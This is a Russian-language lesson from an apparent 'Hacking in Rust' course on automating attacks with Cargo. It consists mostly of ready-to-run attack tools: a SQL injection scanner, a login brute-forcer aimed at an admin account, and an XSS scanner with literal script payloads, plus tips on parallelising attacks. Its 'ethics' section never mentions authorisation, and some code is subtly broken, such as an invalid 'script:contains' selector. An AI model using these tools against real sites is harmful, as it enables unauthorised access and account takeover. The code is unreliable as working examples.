Курс — Хакинг на Rust. #34 Продвинутые темы. Создание инструментов для пентеста. Автоматизация атак с помощью Cargo
Здравствуйте. дорогие друзья.
Почему Cargo подходит для автоматизации?
Cargo — не просто менеджер пакетов, а мощный инструмент для организации workflow. Его возможности:
- Скрипты: Запуск пользовательских команд через
cargo run
. - Рабочие пространства (Workspaces): Управление несколькими инструментами в одном проекте.
- Кроссплатформенность: Бинарники работают в Linux, Windows, macOS без изменений.
- Интеграция с CI/CD: Автоматизация тестирования и атак в пайплайнах.
Пример 1: Автоматизация сканирования SQLi
Создадим инструмент, который принимает URL и список параметров, а затем проверяет их на SQLi.
1. Структура проекта:
1 2 3 4 5 |
sqli-scanner/ ├── Cargo.toml ├── src/ │ └── main.rs └── payloads.txt |
2. Cargo.toml:
1 2 3 4 5 6 7 8 |
[package] name = "sqli-scanner" version = "0.1.0" edition = "2021" [dependencies] reqwest = { version = "0.11", features = ["json"] } tokio = { version = "1.0", features = ["full"] } |
3. src/main.rs:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
use reqwest::Client; use std::{env, fs::read_to_string, time::Duration}; #[tokio::main] async fn main() { let args: Vec<String> = env::args().collect(); if args.len() < 2 { eprintln!("Usage: cargo run -- <target_url>"); return; } let target = &args[1]; let payloads = read_to_string("payloads.txt").expect("Failed to read payloads"); let client = Client::new(); for payload in payloads.lines() { let url = format!("{}?id={}", target, payload); let response = client.get(&url).send().await.unwrap(); if response.status().is_server_error() { println!("[!] SQLi detected with payload: {}", payload); } } } |
4. Запуск:
1 |
cargo run -- http://vulnerable-site.com/page |
Пример 2: Bruteforce-атака на API с Cargo Workspaces
Допустим, нужно автоматизировать подбор паролей к API. Создадим проект с двумя инструментами:
- api-bruteforce: Основная утилита.
- password-generator: Генерация словаря.
1. Структура Workspace:
1 2 3 4 5 6 |
api-attack/ ├── Cargo.toml ├── api-bruteforce/ │ └── src/main.rs └── password-generator/ └── src/main.rs |
2. Корневой Cargo.toml:
1 2 3 4 5 |
[workspace] members = [ "api-bruteforce", "password-generator", ] |
3. password-generator:
Генерирует словарь из популярных паролей.
1 2 3 4 |
fn main() { let passwords = vec!["admin123", "qwerty", "password123"]; std::fs::write("passwords.txt", passwords.join("\n")).unwrap(); } |
4. api-bruteforce:
Проверяет пароли из файла.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
use reqwest::Client; use std::{env, fs::read_to_string}; #[tokio::main] async fn main() { let args: Vec<String> = env::args().collect(); let target = &args[1]; let passwords = read_to_string("passwords.txt").unwrap(); let client = Client::new(); for pass in passwords.lines() { let params = [("username", "admin"), ("password", pass)]; let resp = client.post(target).form(¶ms).send().await.unwrap(); if resp.status().is_success() { println!("[+] Success! Password: {}", pass); break; } } } |
5. Запуск:
1 2 3 4 5 |
# Сгенерировать словарь cargo run -p password-generator # Запустить bruteforce cargo run -p api-bruteforce -- http://api.com/login |
Пример 3: Использование Cargo-скриптов для быстрых атак
Создайте файл attack.rs
с кодом для XSS-сканирования:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
use reqwest::Client; use scraper::{Html, Selector}; #[tokio::main] async fn main() { let client = Client::new(); let selector = Selector::parse(r#"script:contains("XSS")"#).unwrap(); for payload in ["<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>"] { let url = format!("http://target.com/page?search={}", payload); let resp = client.get(&url).send().await.unwrap().text().await.unwrap(); let document = Html::parse_document(&resp); if document.select(&selector).next().is_some() { println!("[!] XSS vulnerability found!"); } } } |
Запуск без проекта:
1 |
cargo script attack.rs |
Советы по эффективной автоматизации
- Переменные окружения:
Используйтеstd::env::var
для настройки параметров (например, API-ключи).
1 |
let api_key = env::var("API_KEY").unwrap_or("default".into()); |
2. Логирование:
Добавьте env_logger
для отслеживания прогресса.
1 2 |
env_logger::init(); log::info!("Starting attack..."); |
3. Параллелизм:
Запускайте задачи в многопотоке с rayon
:
1 2 |
use rayon::prelude::*; payloads.par_iter().for_each(|payload| { /* ... */ }); |
Этический аспект и безопасность
- Лицензии: Убедитесь, что используемые крейты совместимы с законами вашей страны.
- Логирование: Не сохраняйте чувствительные данные (пароли, токены) в логах.
- Оповещения: Интегрируйте отправку уведомлений в Telegram/Email при обнаружении уязвимостей.
Заключение
Cargo превращает Rust в швейцарский нож пентестера: вы можете быстро собрать инструмент, масштабировать его через Workspaces и интегрировать в автоматизированные пайплайны. Начните с простых скриптов, затем переходите к сложным проектам. Помните: автоматизация должна экономить время, а не создавать новые уязвимости.
Дополнительные ресурсы:
cargo-watch
— автоматическая пересборка при изменениях.cargo-make
— продвинутые сценарии сборки.cargo-audit
— проверка зависимостей на известные уязвимости.

На этом все. Всем хорошего дня!